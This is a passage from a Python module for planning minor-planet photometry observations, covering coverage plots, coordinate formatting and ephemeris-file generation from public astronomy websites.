an_dict['Status'] = status
if status.lower() == 'ok':
an_dict['RA'] = data['RA']
an_dict['Dec'] = data['Dec']
an_dict['StartUTC'] = ts_observable.start
an_dict['EndUTC'] = ts_observable.end
an_dict['TransitUTC'] = an_object.transit(mp_radec)
an_dict['MoonDist'] = mp_radec.degrees_from(an_object.moon_radec)
an_dict['PhaseAngle'] = data['Phase']
an_dict['V_mag'] = data['V_mag']
an_dict['ExpTime'] = float(round(float(calc_exp_time(an_dict['V_mag'],
EXP_TIME_TABLE_PHOTOMETRY))))
if an_dict['Period'] is not None:
# Duty cycle is % of time spent observing this MP if one exposure per 1/60 of period.
an_dict['DutyCyclePct'] = 100.0 * ((an_dict['ExpTime'] + EXP_OVERHEAD) / 60.0) / \
an_dict['Period']
else:
an_dict['DutyCyclePct'] = None
if status.lower() == 'ok':
an_dict['PhotrixPlanning'] = 'IMAGE MP_' + mpfile.number + \
' Clear=' + str(an_dict['ExpTime']) + 'sec(***) ' + \
ra_as_hours(an_dict['RA'], seconds_decimal_places=1) + ' ' + \
degrees_as_hex(an_dict['Dec'], arcseconds_decimal_places=0)
if an_dict['Period'] is not None:
an_dict['Coverage'] = make_df_coverage(an_dict['Period'],
mpfile.obs_jd_ranges,
(jd_from_datetime_utc(an_dict['StartUTC']),
jd_from_datetime_utc(an_dict['EndUTC'])))
an_dict['PhaseCoverage'] = make_df_phase_coverage(an_dict['Period'],
mpfile.obs_jd_ranges)
else:
an_dict['Coverage'] = None
an_dict_list.append(an_dict)
if len(an_dict_list) == 0:
return None
df_an_table = pd.DataFrame(data=an_dict_list)
df_an_table.index = df_an_table['MPnumber'].values
df_an_table = df_an_table.sort_values(by='TransitUTC')
return df_an_table
def make_coverage_plots(an_string, site_name, df_an_table, plots_to_console):
""" Make Nobs-vs-UTC plots, one per MP, i.e., plots of phase coverage by previous nights' observations.
:param an_string: Astronight, e.g. 20200201 [string or int]
:param site_name: name of site for Site object. [string]
:param df_an_table: the master planning table for one Astronight [pandas DataFrame].
:param plots_to_console: True iff plots desired to be sent to console, False for file safe only. [bool]
:return: [None] (makes plots 3 x 3 per Figure/page).
"""
# Nested functions:
def make_labels_9_subplots(ax, title, xlabel, ylabel, text='', zero_line=True):
ax.set_title(title, loc='center', fontsize=10, pad=-3) # pad in points
ax.set_xlabel(xlabel, labelpad=-29) # labelpad in points
ax.set_ylabel(ylabel, labelpad=-5) # "
ax.text(x=0.5, y=0.95, s=text,
horizontalalignment='center', verticalalignment='center', transform=ax.transAxes)
if zero_line is True:
ax.axhline(y=0, color='lightgray', linewidth=1, zorder=-100)
# Prepare some data:
df = df_an_table.copy()
an_object = Astronight(an_string, site_name)
dark_start, dark_end = an_object.ts_dark.start, an_object.ts_dark.end
utc_zero = datetime(year=dark_start.year, month=dark_start.month,
day=dark_start.day).replace(tzinfo=timezone.utc)
hours_dark_start = (dark_start - utc_zero).total_seconds() / 3600.0
hours_dark_end = (dark_end - utc_zero).total_seconds() / 3600.0
# Define plot structure (for both hourly coverage and phase coverage):
max_nobs_to_plot = 5 # max number of previous coverages (y-axis value) to plot.
mps_to_plot = [name for (name, cov) in zip(df['MPnumber'], df['Coverage']) if cov is not None]
n_plots = len(mps_to_plot) # count of individual MP plots.
n_cols, n_rows = 3, 3
n_plots_per_figure = n_cols * n_rows
n_figures = ceil(n_plots / n_plots_per_figure) # count of pages of plots.
for i_figure in range(n_figures):
n_plots_remaining = n_plots - (i_figure * n_plots_per_figure)
n_plots_this_figure = min(n_plots_remaining, n_plots_per_figure)
if n_plots_this_figure >= 1:
# Start new Figure for HOURLY coverage:
fig, axes = plt.subplots(ncols=n_cols, nrows=n_rows, figsize=(11, 8))
fig.tight_layout(rect=(0, 0, 1, 0.925)) # rect=(left, bottom, right, top) for entire fig
fig.subplots_adjust(left=0.06, bottom=0.06, right=0.94, top=0.85, wspace=0.25, hspace=0.325)
fig.suptitle('MP Hourly Coverage for ' + an_string + ' :: Page ' +
str(i_figure + 1) + ' of ' + str(n_figures),
color='darkblue', fontsize=16)
fig.canvas.set_window_title('MP hourly coverage for AN ' + an_string)
subplot_text = 'rendered {:%Y-%m-%d %H:%M UTC}'.format(datetime.now(timezone.utc))
fig.text(s=subplot_text, x=0.5, y=0.92, horizontalalignment='center', fontsize=11,
color='dimgray')
# Start new Figure for PHASE coverage:
fig_p, axes_p = plt.subplots(ncols=n_cols, nrows=n_rows, figsize=(11, 8))
fig_p.tight_layout(rect=(0, 0, 1, 0.925)) # rect=(left, bottom, right, top) for entire fig
fig_p.subplots_adjust(left=0.06, bottom=0.06, right=0.94, top=0.85, wspace=0.25, hspace=0.325)
fig_p.suptitle('MP Phase Coverage for ' + an_string + ' :: Page ' +
str(i_figure + 1) + ' of ' + str(n_figures),
color='darkblue', fontsize=16)
fig_p.canvas.set_window_title('MP phase coverage for AN ' + an_string)
fig_p.text(s=subplot_text, x=0.5, y=0.92, horizontalalignment='center', fontsize=11,
color='dimgray')
# Loop through subplots for BOTH Figure pages (HOURLY & PHASE covereage):
i_first = i_figure * n_plots_per_figure
for i_plot in range(0, n_plots_this_figure):
this_mp = mps_to_plot[i_first + i_plot]
i_col = i_plot % n_cols
i_row = int(floor(i_plot / n_cols))
ax = axes[i_row, i_col]
ax_p = axes_p[i_row, i_col]
subplot_title = 'MP ' + this_mp +\
' {0:.2f} h'.format(df.loc[this_mp, 'Period']) +\
' {0:d} s'.format(int(round(df.loc[this_mp, 'ExpTime']))) +\
' {0:d}%'.format(int(round(df.loc[this_mp, 'DutyCyclePct'])))
make_labels_9_subplots(ax, subplot_title, '', '', '', zero_line=False)
make_labels_9_subplots(ax_p, subplot_title, '', '', '', zero_line=False)
# Plot HOURLY coverage curve:
datetime_values = (df.loc[this_mp, 'Coverage'])['DateTimeUTC']
x = [(dt - utc_zero).total_seconds() / 3600.0 for dt in datetime_values] # UTC hour.
y = (df.loc[this_mp, 'Coverage'])['Coverage'] # count of prev obs (this apparition).
ax.plot(x, y, linewidth=3, alpha=1, color='darkblue', zorder=+50)
ax.fill_between(x, 0, y, facecolor=(0.80, 0.83, 0.88), zorder=+49)
# Plot PHASE coverage curve:
x = (df.loc[this_mp, 'PhaseCoverage'])['Phase']
y = (df.loc[this_mp, 'PhaseCoverage'])['PhaseCoverage']
ax_p.plot(x, y, linewidth=3, alpha=1, color='darkgreen', zorder=+50)
ax_p.fill_between(x, 0, y, facecolor=(0.83, 0.87, 0.83), zorder=+49)
# HOURLY coverage: Make left box if any unavailable timespan before available timespan:
left_box_start = hours_dark_start
left_box_end = (df.loc[this_mp, 'StartUTC'] - utc_zero).total_seconds() / 3600.0
if left_box_end > left_box_start:
ax.add_patch(patches.Rectangle((left_box_start, 0), # (x,y)bottom left, width, height
left_box_end - left_box_start,
max_nobs_to_plot,
linewidth=1, alpha=1, zorder=+100,
edgecolor='black', facecolor='darkgray'))
# HOURLY coverage: Make right box if any unavailable timespan after available timespan:
right_box_start = (df.loc[this_mp, 'EndUTC'] - utc_zero).total_seconds() / 3600.0
right_box_end = hours_dark_end
if right_box_end > right_box_start:
ax.add_patch(patches.Rectangle((right_box_start, 0), # (x,y)bottom left, width, height
right_box_end - right_box_start,
max_nobs_to_plot,
linewidth=1, alpha=1, zorder=+100,
edgecolor='black', facecolor='darkgray'))
# HOURLY coverage: add info box.
max_len_infobox_mp_name = 12
infobox_mp_name = df.loc[this_mp, 'MPname']
if len(infobox_mp_name) > max_len_infobox_mp_name:
infobox_mp_name = infobox_mp_name[0:max_len_infobox_mp_name] + '...'
infobox_text = infobox_mp_name + ' ' + MOON_CHARACTER + ' ' +\
str(int(round(df.loc[this_mp, 'MoonDist']))) + u'\N{DEGREE SIGN}' +\
' ' + 'α=' + '{0:.1f}'.format(df.loc[this_mp, 'PhaseAngle']) + u'\N{DEGREE SIGN}' +\
' ' + df.loc[this_mp, 'Motive']
hours_dark = hours_dark_end - hours_dark_start
ax.add_patch(patches.Rectangle((hours_dark_start, 4.3), hours_dark, 0.8,
linewidth=1, alpha=0.75, zorder=+200,
fill=True, edgecolor='lightgray', facecolor='whitesmoke'))
ax.text(x=hours_dark_start + 0.02 * hours_dark, y=4.6, s=infobox_text,
verticalalignment='center', fontsize=8, color='dimgray', zorder=+201)
# PHASE coverage: add info box.
ax_p.add_patch(patches.Rectangle((0, 4.3), 1.0, 0.8,
linewidth=1, alpha=0.75, zorder=+200,
fill=True, edgecolor='lightgray', facecolor='whitesmoke'))
ax_p.text(x=0.02, y=4.6, s=infobox_text,
verticalalignment='center', fontsize=8, color='dimgray', zorder=+201)
# Complete HOURLY coverage plot:
ax.grid(b=True, which='major', axis='x', color='lightgray',
linestyle='dotted', zorder=-1000)
ax.set_xlim(hours_dark_start, hours_dark_end)
ax.set_ylim(0, max_nobs_to_plot)
ax.xaxis.set_major_locator(ticker.MultipleLocator(1.0))
ax.xaxis.set_minor_locator(ticker.MultipleLocator(1.0 / 6.0))
x_transit = ((df.loc[this_mp, 'TransitUTC']) - utc_zero).total_seconds() / 3600.0
ax.axvline(x=x_transit, color='lightblue', zorder=+40)
# PHASE coverage: add vertical line for phase at StartUTC for this MP on this AN:
JD_ref = ((df.loc[this_mp, 'Coverage'])['JD'])[0]
phase_ref = ((df.loc[this_mp, 'Coverage'])['Phase'])[0]
JD_start = jd_from_datetime_utc(df.loc[this_mp, 'StartUTC'])
period_days = df.loc[this_mp, 'Period'] / 24.0
phase_start = (phase_ref + (JD_start - JD_ref) / period_days) % 1.0
# print(' >>>>>', this_mp, str(phase_start))
ax_p.axvline(x=phase_start, color='darkgreen', linewidth=2, zorder=+40)
# Complete PHASE coverage plot:
ax_p.grid(b=True, which='major', axis='x', color='lightgray',
linestyle='dotted', zorder=-1000)
ax_p.set_xlim(0.0, 1.0)
ax_p.set_ylim(0, max_nobs_to_plot)
ax_p.xaxis.set_major_locator(ticker.MultipleLocator(0.1))
# ax_p.xaxis.set_minor_locator(ticker.MultipleLocator(0.05))
# Remove any empty subplots (if this is the last Figure):
for i_plot_to_remove in range(n_plots_this_figure, n_plots_per_figure):
i_col = i_plot_to_remove % n_cols
i_row = int(floor(i_plot_to_remove / n_cols))
ax = axes[i_row, i_col]
ax.remove()
ax_p = axes_p[i_row, i_col]
ax_p.remove()
# plt.show()
# Save HOURLY coverage plots:
filename = 'MP_hourly_coverage_' + an_string + '_{0:02d}'.format(i_figure + 1) + '.png'
# mp_photometry_planning_fullpath = os.path.join(MP_PHOTOMETRY_PLANNING_DIRECTORY, filename)
# # print('Saving hourly coverage to', mp_photometry_planning_fullpath)
# fig.savefig(mp_photometry_planning_fullpath)
acp_planning_fullpath = os.path.join(ACP_PLANNING_TOP_DIRECTORY, 'AN' + an_string, filename)
# print('Saving hourly coverage to', acp_planning_fullpath)
fig.savefig(acp_planning_fullpath)
# Save PHASE coverage plots:
filename = 'MP_phase_coverage_' + an_string + '_{0:02d}'.format(i_figure + 1) + '.png'
# mp_photometry_planning_fullpath = os.path.join(MP_PHOTOMETRY_PLANNING_DIRECTORY, filename)
# # print('Saving phase coverage to', mp_photometry_planning_fullpath)
# fig_p.savefig(mp_photometry_planning_fullpath)
acp_planning_fullpath = os.path.join(ACP_PLANNING_TOP_DIRECTORY, 'AN' + an_string, filename)
# print('Saving phase coverage to', acp_planning_fullpath)
fig_p.savefig(acp_planning_fullpath)
def photometry_exp_time_from_v_mag(v_mag):
""" Given V mag, return *Clear* filter exposure time suited to lightcurve photometry.
:param v_mag: target V magnitude [float]
:return: suitable exposure time in Clear filter suited to lightcurve photometry. [float]
"""
return calc_exp_time(v_mag, EXP_TIME_TABLE_PHOTOMETRY)
def make_df_coverage(period, obs_jd_ranges, target_jd_ranges, resolution_minutes=COV_RESOLUTION_MINUTES):
""" Construct high-resolution array describing how well tonight's phases have previously been observed.
:param period: MP lightcurve period, in hours. Required, else this function can't work. [float]
:param obs_jd_ranges: start,end pairs of Julian Dates for previous obs, this MP.
Typically obtained from an updated MPfile for that MP. [list of 2-tuples of floats]
:param target_jd_ranges: start,end pair of JDs of proposed new observations.
Presumably tonight's available observation timespan. [2-tuple or list of floats]
:param resolution_minutes: approximate time resolution of output dataframe, in minutes. [float]
:return: 1 row / timepoint in new obs window, columns = JD, DateTimeUTC, Phase, Nobs. [pandas DataFrame]
"""
# Construct array of JDs covering target time span, and coverage count array of same length:
if period is None:
return None
if period <= 0.0:
return None
# Set up target JD array and matching empty coverage array:
resolution_days = resolution_minutes / 24 / 60
n_target_jds = ceil((target_jd_ranges[1] - target_jd_ranges[0]) / resolution_days) + 1
actual_resolution_days = (target_jd_ranges[1] - target_jd_ranges[0]) / (n_target_jds - 1)
# Target JDs will form x of coverage plot:
target_jds = [target_jd_ranges[0] + i * actual_resolution_days for i in range(n_target_jds)]
# coverage is an accumulator array that will form y of plot:
coverage = len(target_jds) * [0]
# Build coverage array:
period_days = period / 24.0
# Phase zero defined at JD of earliest (previous) observation (same as in Canopus);
# if there is no previous obs, use the target start JD:
if len(obs_jd_ranges) >= 1:
jd_at_phase_zero = min([float(obs_jd[0]) for obs_jd in obs_jd_ranges])
else:
jd_at_phase_zero = target_jd_ranges[0]
for i, jd in enumerate(target_jds):
for obs_jd_range in obs_jd_ranges:
obs_jd_start, obs_jd_end = obs_jd_range
diff_cycles_first_obs = int(ceil((jd - obs_jd_start) / period_days)) # larger
diff_cycles_last_obs = int(floor((jd - obs_jd_end) / period_days)) # smaller
for n in range(diff_cycles_last_obs, diff_cycles_first_obs + 1):
obs_jd_candidate = jd - n * period_days
if obs_jd_start <= obs_jd_candidate <= obs_jd_end:
coverage[i] += 1
# Make dataframe:
target_phase_array = [((jd - jd_at_phase_zero) / period_days) % 1 for jd in target_jds]
dt_array = [datetime_utc_from_jd(jd) for jd in target_jds]
df_coverage = pd.DataFrame({'JD': target_jds, 'DateTimeUTC': dt_array, 'Phase': target_phase_array,
'Coverage': coverage})
return df_coverage
def make_df_phase_coverage(period, obs_jd_ranges, phase_entries=100):
""" Construct high-res array for 1 MP describing how well all phases have previously been observed.
:param period: MP lightcurve period, in hours. Required, else this function can't work. [float]
:param obs_jd_ranges: start,end pairs of Julian Dates for previous obs, this MP.
Typically obtained from an updated MPfile for that MP. [list of 2-tuples of floats]
:param target_jd_ranges: start,end pair of JDs of proposed new observations.
Presumably tonight's available observation timespan. [2-tuple or list of floats]
:param phase_entries: how many equally-spaced entries in phase to be computed. [int]
:return: 1 row / timepoint in new obs window, columns = JD, DateTimeUTC, Phase, Nobs. [pandas DataFrame]
"""
if period is None:
return None
if period <= 0.0:
return None
phase_coverage = (phase_entries + 1) * [0] # accumulator array.
# Build coverage array:
period_days = period / 24.0
# Phase zero defined at JD of earliest (previous) observation (same as in Canopus);
# If there is no previous obs, then phase coverages are automatically zero anyway.
if len(obs_jd_ranges) >= 1:
jd_at_phase_zero = min([float(obs_jd[0]) for obs_jd in obs_jd_ranges])
for obs_jd_range in obs_jd_ranges:
obs_jd_start, obs_jd_end = obs_jd_range
diff_cycles_first_obs = (obs_jd_start - jd_at_phase_zero) / period_days
duration_cycles = (obs_jd_end - obs_jd_start) / period_days
first_entry = int(round((diff_cycles_first_obs * float(phase_entries)) % float(phase_entries)))
if first_entry >= phase_entries:
first_entry -= phase_entries
n_entries = round(duration_cycles * float(phase_entries))
for i in range(first_entry, first_entry + n_entries):
phase_coverage[i % phase_entries] += 1
# Make dataframe:
edge_phase_coverage = max(phase_coverage[0], phase_coverage[phase_entries])
phase_coverage[0] = edge_phase_coverage
phase_coverage[phase_entries] = edge_phase_coverage
phase_values = [float(i) / phase_entries for i in range(len(phase_coverage))]
df_phase_coverage = pd.DataFrame({'Phase': phase_values, 'PhaseCoverage': phase_coverage})
return df_phase_coverage
def ra_as_hours(ra_degrees, seconds_decimal_places=3):
"""
Adapted 20200525 from photrix.util module.
:param ra_degrees: Right Ascension in degrees. [float]
:param seconds_decimal_places: number of places to the right of the decimal point. [int]
:return: RA as hours, in hex. [string]
"""
if (ra_degrees < 0) | (ra_degrees > 360):
return None
n_ra_milliseconds = round((ra_degrees * 3600 * 1000) / 15)
ra_hours, remainder = divmod(n_ra_milliseconds, 3600 * 1000)
ra_minutes, remainder = divmod(remainder, 60 * 1000)
ra_seconds = round(remainder / 1000, 3)
# format_string = "{0:02d}:{1:02d}:{2:06.3f}"
if seconds_decimal_places <= 0:
format_string = "{0:02d}:{1:02d}:{2:02.0f}"
else:
format_string = '{0:02d}:{1:02d}:{2:0' + str(3 + seconds_decimal_places) + \
'.' + str(seconds_decimal_places) + 'f}'
ra_str = format_string.format(int(ra_hours), int(ra_minutes), ra_seconds)
if ra_str[:3] == "24:":
ra_str = format_string.format(0, 0, 0)
return ra_str
def dec_as_hex(dec_degrees):
"""
Copied 20200525 from photrix.util module.
:param dec_degrees: Declination in degrees. [float]
:return: Declination in hex, or None if Dec value illegal. [string]
"""
if (dec_degrees < -90) | (dec_degrees > +90):
return None
dec_string = degrees_as_hex(dec_degrees, seconds_decimal_places=2)
return dec_string
def degrees_as_hex(angle_degrees, arcseconds_decimal_places=2):
"""
Adapted 20200525 from photrix.util module.
:param angle_degrees: any angle as degrees.
:param arcseconds_decimal_places: number of places after the decimal point, arcseconds. [int]
:return: Angle in hex notation, unbounded. [float]
"""
if angle_degrees < 0:
sign = "-"
else:
sign = "+"
abs_degrees = abs(angle_degrees)
milliseconds = round(abs_degrees * 3600 * 1000)
degrees, remainder = divmod(milliseconds, 3600 * 1000)
minutes, remainder = divmod(remainder, 60 * 1000)
seconds = round(remainder / 1000, 2)
if arcseconds_decimal_places <= 0:
format_string = "{0}{1:02d}:{2:02d}:{3:02.0f}"
else:
format_string = '{0}{1:02d}:{2:02d}:{3:0' + str(int(arcseconds_decimal_places)+3) + \
'.' + str(int(arcseconds_decimal_places)) + 'f}'
hex_string = format_string.format(sign, int(degrees), int(minutes), seconds)
return hex_string
MPFILE____________________________________________________ = 0
def make_mpfile(mp_number, utc_date_brightest=None, days=150, mpfile_directory=MPFILE_DIRECTORY):
""" Make new MPfile text file for upcoming apparition.
:param mp_number: MP's number, e.g., 7084. [int or string]
:param utc_date_brightest: UTC date of MP brightest, e.g. '2020-02-01' or '20200201'. [string]
:param days: number of days to include in ephemeris. [int]
:param mpfile_directory: where to write file (almost always use default). [string]
:return: [None]
USAGE: make_mpfile(2653, 20200602)
"""
mp_number = str(mp_number)
days = max(days, 30)
s = str(utc_date_brightest).replace('-', '')
datetime_brightest = datetime(year=int(s[0:4]), month=int(s[4:6]),
day=int(s[6:8])).replace(tzinfo=timezone.utc)
datetime_now = datetime.now()
datetime_now_zero_utc = datetime(datetime_now.year, datetime_now.month,
datetime_now.day).replace(tzinfo=timezone.utc)
datetime_start = datetime_brightest - timedelta(days=int(floor(days/2.0)))
if datetime_start < datetime_now_zero_utc:
print(' >>>>> WARNING: Ephemeris table starts IN THE PAST, at',
'{:%Y-%m-%d}'.format(datetime_start) + '.')
# Get strings from MPC (minorplanetcenter.com), making > 1 call if needed for number of days:
n_days_per_call = 90
n_calls = ceil(days / n_days_per_call)
parameter_dict = PAYLOAD_DICT_TEMPLATE.copy()
parameter_dict['TextArea'] = str(mp_number)
parameter_dict['i'] = '1' # interval between lines
parameter_dict['u'] = 'd' # units of interval; 'h' for hours, 'd' for days, 'm' for minutes
parameter_dict['long'] = '-105.6'.replace("+", "%2B") # DSW longitude in deg
parameter_dict['lat'] = '+35.12'.replace("+", "%2B") # DSW latitude in deg
parameter_dict['alt'] = '2220' # DSW elevation (MPC "altitude") in m
parameter_dict['igd'] = 'n' # 'n' = don't suppress is sun up
parameter_dict['ibh'] = 'n' # 'n' = don't suppress line if MP down
eph_lines = []
for i_call in range(n_calls):
dt_this_call = datetime_start + i_call * timedelta(days=90)
parameter_dict['d'] = '{:%Y %m %d}'.format(dt_this_call)
parameter_dict['l'] = str(n_days_per_call)
text = '\n'.join(get_one_html_from_list(mp_list=[mp_number], utc_date_string=parameter_dict['d'],
payload_dict=parameter_dict))
soup = BeautifulSoup(text, features='html5lib')
lines = [str(s).strip() for s in soup.find_all('pre')[0].contents]
this_eph_lines = []
for line in lines:
this_eph_lines.extend(line.split('\n'))
this_eph_lines = [s for s in this_eph_lines[3:-1] if not s.startswith(('/', '<'))]
eph_lines.extend(this_eph_lines)
# Parse MPC strings, make new dataframe:
utc_strings = [s[:11].strip().replace(' ', '-') for s in eph_lines][:days]
mpc_data = [s[17:94].strip() for s in eph_lines][:days]
df_mpc = pd.DataFrame({'DateUTC': utc_strings, 'MPC_string': mpc_data})
df_mpc.index = df_mpc['DateUTC'].values
# Get strings from minorplanet.info One Asteroid Lookup:
url = 'http://www.minorplanet.info/PHP/generateOneAsteroidInfo.php/'
parameter_dict = {'AstNumber': str(mp_number), 'AstName': '',
'Longitude': '-109', 'Latitude': '32', # for V16 DSNM Animas
'StartDate': '', # assign this within loop, below.
'UT': '0', 'subOneShot': 'Submit'}
n_days_per_call = 30
n_calls = ceil(days / n_days_per_call)
eph_lines = []
soup = None # keep IDE happy.
for i_call in range(n_calls):
dt_this_call = datetime_start + i_call * timedelta(days=30)
parameter_dict['StartDate'] = '{:%Y-%m-%d}'.format(dt_this_call)
r = requests.post(url, data=parameter_dict)
soup = BeautifulSoup(r.text, features='html5lib')
this_eph_lines = [str(s) for s in soup.find_all('pre')[1].contents[0].strings]
eph_lines.extend(this_eph_lines)
# Parse minorplanet.info strings, make dataframe:
utc_strings = [s[:11].strip() for s in eph_lines][:days]
mpinfo_strings = [s[91:] for s in eph_lines][:days]
df_mpinfo = pd.DataFrame({'MP_info': mpinfo_strings}) # (don't duplicate DateUTC)
df_mpinfo.index = utc_strings
# Merge mpinfo dataframe into MPC dataframe:
# df_eph = pd.merge(df_mpc, df_mpinfo, how='left', left_index=True, right_index=True)
df_eph = pd.merge(df_mpc, df_mpinfo, how='inner', left_index=True, right_index=True)
df_eph['Output'] = [date + ' ' + mpc + mpinfo for (date, mpc, mpinfo) in zip(df_eph['DateUTC'],
df_eph['MPC_string'],
df_eph['MP_info'])]
# Write MPfile text file:
# apparition_year = (datetime_start + timedelta(days=days/2)).year
apparition_year = datetime_brightest.year
# utc_start_string = '{:%Y-%m-%d}'.format(datetime_start)
# utc_end_string = '{:%Y-%m-%d}'.format(datetime_start + timedelta(days=days))
utc_start_string = min(df_eph['DateUTC'])
utc_end_string = max(df_eph['DateUTC'])
mpfile_name = 'MP_' + str(mp_number) + '_' + str(apparition_year) + '.txt'
mpfile_fullpath = os.path.join(mpfile_directory, mpfile_name)
top_text = soup.contents[0].text[:300]
top_left = top_text.find('Results for:') + 12
top_right = top_text.find('CALL and LCDB')
top_text = top_text[top_left:top_right]
top_left = top_text.find(')')
top_text = top_text[top_left + 1:]
undetermined_left = top_text.find('Undetermined (UKN)')
if undetermined_left >= 0: # if family is undetermined.
mp_name = top_text[:undetermined_left].strip()
mp_family = 'Undetermined (UKN)'
else:
right = top_text.find('LCDB Family (CODE):')
mp_name = top_text[:right].strip()
left = top_text.find('CODE):') + 6
mp_family = top_text[left:].strip()
with open(mpfile_fullpath, 'w') as this_file:
this_file.write('\n'.join(['; MPfile text file for MP photometry during one apparition.',
'; Generated by mpc.mp_planning.make_mpfile() then edited by user',
'#MP'.ljust(13) + str(mp_number).ljust(24) + '; minor planet number',
'#NAME'.ljust(13) + mp_name.ljust(24) + '; minor planet name',
'#FAMILY'.ljust(13) + mp_family.ljust(24) + '; minor planet family',
'#APPARITION'.ljust(13) + str(apparition_year).ljust(24) + '; year',
'#MOTIVE'.ljust(13) + 'XXX ; [pet,shape,period[n,X,??],low-phase]',
'#PERIOD'.ljust(13) + 'nn.nnn n'.ljust(24) +
'; hours or ? followed by certainty per LCDB (1-3[+-])',
'#AMPLITUDE'.ljust(13) + '0.nn'.ljust(24) + '; magnitudes expected',
'#PRIORITY'.ljust(13) + 'n'.ljust(24) + '; 0-10 (6=normal)',
'#BRIGHTEST'.ljust(13) +
'{:%Y-%m-%d}'.format(datetime_brightest).ljust(24) +
'; MP brightest UTC date as given',
'#EPH_RANGE'.ljust(13) +
(utc_start_string + ' ' + utc_end_string).ljust(24) +
'; date range of ephemeris table below',
'#VERSION'.ljust(13) + CURRENT_MPFILE_VERSION.ljust(24) +
'; MPfile format version',
';',
'; Record here the JD spans of observations already made of '
'this MP, this opposition (for phase planning):',
'; #OBS'.ljust(7) + '2458881.xxx 2458881.yyy'.ljust(27) +
'; JD_start JD_end',
'; #OBS'.ljust(7) + '2458883.xxx 2458883.yyy'.ljust(27) +
'; JD_start JD_end',
';',
'#EPHEMERIS',
'================= For MP ' + str(mp_number) +
', retrieved from web sites ' +
'{:%Y-%m-%d %H:%M utc}'.format(datetime.now(timezone.utc))]))
this_file.write('\n' + (71 * ' ') + '__MP Motion__ ____PAB____ ___Moon____ _Galactic_\n' +
' UTC (0h) RA Dec. Delta R Elong. Phase V "/min '
'Angle Long. Lat. Phase Dist. Long. Lat.\n' +
(125 * '-'))
this_file.write('\n' + '\n'.join(df_eph['Output']))
print(mpfile_fullpath, 'written. \n >>>>> Now please edit: verify name & family, '
'enter period & code, amplitude, priority.')
def make_mpfile_dict(mpfile_directory=MPFILE_DIRECTORY):
""" Returns dict of MPfiles, as: MP number: MPfile object.
Usage: d = make_mpfile_dict() --> returns *all* MPfiles. [dict]
:param mpfile_directory: where the MPfiles reside. [string]
:return: all MPfiles in a dictionary. [dict of MPfiles objects]
"""
mpfile_names = all_mpfile_names(mpfile_directory)
mpfile_dict = {mpfile_name[:-4]: MPfile(mpfile_name, mpfile_directory) for mpfile_name in mpfile_names}
return mpfile_dict
def all_mpfile_names(mpfile_directory=MPFILE_DIRECTORY):
""" Returns list of all MPfile names (from filenames in mpfile_directory). """
mpfile_names = [fname for fname in os.listdir(mpfile_directory)
if (fname.endswith(".txt")) and (fname.startswith("MP_"))]
return mpfile_names
class MPfile:
""" One object contains all current-apparition data for one MP.
Fields:
.format_version [str, currently '1.0']
.number: MP number [str representing an integer]
.name: text name of MP, e.g., 'Dido' or '1952 TX'. [str]
.family: MP family and family code. [str]
.apparition: identifier (usually year) of this apparition, e.g., '2020'. [str]
.motive: special reason to do photometry, or 'Pet' if simply a favorite. [str]
.period: expected rotational period, in hours. [float]
.period_certainty: LCDB certainty code, e.g., '1' or '2-'. [str]
.amplitude: expected amplitude, in magnitudes. [float]
.priority: priority code, 0=no priority, 10=top priority, 6=normal. [int]
.brightest_utc: given date that MP is brightest, this apparition. [python datetime UTC]
.eph_range: first & last date within the ephemeris (not observations). [2-tuple of datetime UTC]
.obs_jd_ranges: list of previous observation UTC ranges. [list of lists of floats]
.eph_dict_list: One dict per MPC ephemeris time (which are all at 00:00 UTC). [list of dicts]
dict elements:
'DateString': UTC date string for this MPC ephemeris line. [str as yyyy-mm-dd]
'DatetimeUTC': UTC date. [py datetime object]
'RA': right ascension, in degrees (0-360). [float]
'Dec': declination, in degrees (-90-+90). [float]
'Delta': distance Earth (observatory) to MP, in AU. [float]
'R': distance Sun to MP, in AU. [float]
'Elong': MP elongation from Sun, in degrees (0-180). [float]
'Phase': Phase angle Sun-MP-Earth, in degrees. [float]
'V_mag': Nominal V magnitude. [float]
'MotionRate': MP speed across sky, in arcsec/minute. [float]
'MotionDirection': MP direction across sky, in degrees, from North=0 toward East. [float]
'PAB_longitude': phase angle bisector longitude, in degrees. [float]
'PAB_latitude': phase angle bisector latitude, in degrees. [float]
'MoonPhase': -1 to 1, where neg=waxing, 0=full, pos=waning. [float]
'MoonDistance': Moon-MP distance in sky, in degrees. [float]
'Galactic_longitude': in degrees. [float]
'Galactic_latitude': in degrees. [float]
.df_eph: the same data as in eph_dict_list, with dict keys becoming column names,
row index=DateUTC string. [pandas Dataframe]
.is_valid: True iff all data looks OK. [boolean]
"""
def __init__(self, mpfile_name, mpfile_directory=MPFILE_DIRECTORY):
mpfile_fullpath = os.path.join(mpfile_directory, mpfile_name)
if os.path.exists(mpfile_fullpath) and os.path.isfile(mpfile_fullpath):
with open(mpfile_fullpath) as mpfile:
lines = mpfile.readlines()
self.is_valid = True # conditional on parsing in rest of __init__()
else:
print('>>>>> MP file \'' + mpfile_fullpath + '\' not found. MPfile object invalid.')
self.is_valid = False
return
lines = [line.split(";")[0] for line in lines] # remove all comments.
lines = [line.strip() for line in lines] # remove leading and trailing whitespace.
# ---------- Header section:
self.format_version = MPfile._directive_value(lines, '#VERSION')
if self.format_version != CURRENT_MPFILE_VERSION:
print(' >>>>> ERROR: ' + mpfile_name + ': Version Error. MPfile object invalid.')
self.is_valid = False
return
self.number = self._directive_value(lines, '#MP')
self.name = self._directive_value(lines, '#NAME')
if self.name is None:
print(' >>>>> Warning: Name is missing. (MP=' + self.number + ')')
self.name = None
self.family = self._directive_value(lines, '#FAMILY')
self.apparition = self._directive_value(lines, '#APPARITION')
self.motive = self._directive_value(lines, '#MOTIVE')
words = self._directive_words(lines, '#PERIOD')
if words is not None:
try:
self.period = float(words[0])
except ValueError:
# print(' >>>>> Warning: Period present but non-numeric,'
# '[None] stored. (MP=' + self.number + ')')
self.period = None
if len(words) >= 2:
self.period_certainty = words[1]
else:
self.period_certainty = '?'
amplitude_string = self._directive_value(lines, '#AMPLITUDE')
if amplitude_string is None:
print(' >>>>> Warning: Amplitude is missing. [None] stored. (MP=' + self.number + ')')
self.amplitude = None
else:
try:
self.amplitude = float(amplitude_string)
except ValueError:
# print(' >>>>> Warning: Amplitude present but non-numeric,'
# '[None] stored. (MP=' + self.number + ')')
self.amplitude = None
priority_string = self._directive_value(lines, '#PRIORITY')
try:
self.priority = int(priority_string)
except ValueError:
print(' >>>>> ERROR: Priority present but incorrect. (MP=' + self.number + ')')
self.priority = None
brightest_string = self._directive_value(lines, '#BRIGHTEST')
try:
